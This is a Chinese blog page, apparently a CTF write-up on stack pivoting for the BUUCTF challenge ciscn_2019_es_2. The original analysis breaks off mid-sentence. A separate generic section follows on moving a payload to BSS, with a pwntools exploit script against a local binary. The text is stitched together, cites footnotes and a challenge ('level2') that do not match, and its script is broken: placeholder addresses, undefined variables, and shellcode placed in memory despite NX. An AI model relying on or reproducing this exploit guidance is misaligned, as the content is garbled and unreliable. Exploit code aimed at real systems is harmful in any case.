BUUCTF栈迁移ciscn_2019_es_2

1.checksec+运行获取基本信息

32位+NX堆栈不可执行

2.常规IDA操作

1.main函数

并没有什么

2.int vul()函数

程序主体,信息很多

1.两次read都在往同一个地方s处读入数据

2.要读入0x30,但s大小只有0x28,如果有后门函数,直接常规栈溢出操作

但是shift+f12

 这里仅仅是打印flag字符串,没有用

同时查看hack函数

system里面的参数不是bin_sh不能直接用,所以要修改system的参数

但是.

### 关于BUUCTF中的迁移例题及其解题思路 在CTF竞赛中,尤其是涉及PWN类题目时,“迁移”是一种常见的技术手段。当目标程序存在空间不足或者无法满足攻击者需求的情况时,可以通过特定方式将执行流迁移到其他内存区域(如BSS段),从而实现更复杂的操作。 #### BUUCTF 中的迁移案例分析 在BUUCTF系列挑战赛中,确实有一些经典的迁移题目可以作为学习对象。以下是针对此类问题的一个典型例子以及其对应的解决方法: - **题目名称**: `buuctf level2` 或类似的缓冲区溢出练习[^1] 此题通常设计了一个小型漏洞程序,允许用户输入数据并触发缓冲区溢出条件。然而,在实际利用过程中发现原始堆大小不足以容纳完整的shellcode或其他复杂指令序列。因此需要采用迁移策略来完成最终的目标——获取Shell权限。 ##### 技术要点解析 为了成功实施基于迁移的技术方案,需掌握以下几个核心概念和技术细节: 1. **识别可用的大块连续内存** 利用调试工具(gdb/pwndbg),找到一块足够大的未被占用的空间用于放置新的有效载荷(payload) 。这可能位于全局变量存储区(BSS Section)或者其他动态分配的数据结构附近。 2. **构建ROP链调整控制流程** 如果直接跳转至新地址不可行,则应考虑通过返回导向编程(Return-Oriented Programming, ROP) 构建必要的中间步骤以改变寄存器状态或设置参数环境以便顺利过渡到下一步动作 。 3. **编写适合目标平台架构特点的有效负载(ShellCode)** 针对具体操作系统版本(x86/x64 Linux), 设计紧凑高效的机器码片段用来打开交互终端设备(/bin/sh) 并保持持久化连接通道[^2] 。 4. **精确计算偏移量(offsets)** 准确测量从初始崩溃点到达预期重定位位置之间的距离差值至关重要;稍有偏差可能导致整个计划失败甚至引发异常终止进程运行状况发生 。 ```python from pwn import * context.arch = 'i386' elf = ELF('./vuln') p = process("./vuln") offset_to_retaddr = cyclic_find('kaaa') # Find the offset using pattern_create and pattern_offset tools. payload = b'A' * offset_to_retaddr # Assume we have found a suitable gadget address via ROPgadget or similar tool. pop_eax_gadget_addr = 0xdeadbeef # Example value; replace with real one later. int_0x80_syscall_instruciton_addr = 0xbadf00d # Another placeholder. rop_chain = [ pop_eax_gadget_addr, 0xb # Syscall number for execve syscall on i386 architecture. ] for rop_element in rop_chain: payload += p32(rop_element) new_stack_base_address = elf.bss() + 0x100 # Hypothetical large buffer within BSS section range. payload += p32(new_stack_base_address) # Overwrite saved EIP to point at new stack base addr. # Now craft shellcode that will be copied into newly allocated space above... shellcode = asm(shellcraft.sh()) assert len(shellcode) < (new_stack_base_address - current_buffer_starting_point), "Payload too long!" final_payload = payload.ljust(len(current_buffer)+len(shellcode),b'\x90')+shellcode p.sendline(final_payload) p.interactive() ``` 上述脚本展示了如何组合多种技巧形成一套连贯的整体解决方案路径图谱。它先确定了关键要素的位置关系之后再逐步拼接起来构成最后提交给服务器端处理的信息包体内容形式。 --- ####
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值